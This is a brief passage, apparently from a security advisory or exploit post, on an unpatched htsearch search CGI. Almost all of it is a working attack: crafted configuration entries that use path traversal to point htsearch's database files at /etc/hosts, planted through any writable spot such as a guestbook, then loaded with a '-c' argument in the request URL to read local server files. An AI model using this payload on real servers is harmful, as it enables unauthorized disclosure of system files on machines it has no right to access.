.. if htsearch is not patched and you have write access somewhere on the
server (guestbook etc...) you could create entries like:

---cut here---

nothing_found_file: /etc/hosts
database_base: ${database_dir}/../../../../../etc/
word_db: ${database_base}hosts
doc_index: ${database_base}hosts
doc_db: ${database_base}hosts

---cut here---

and then request:

---cut here---

http://host/htsearch?-c+[filelocation]

---cut here---
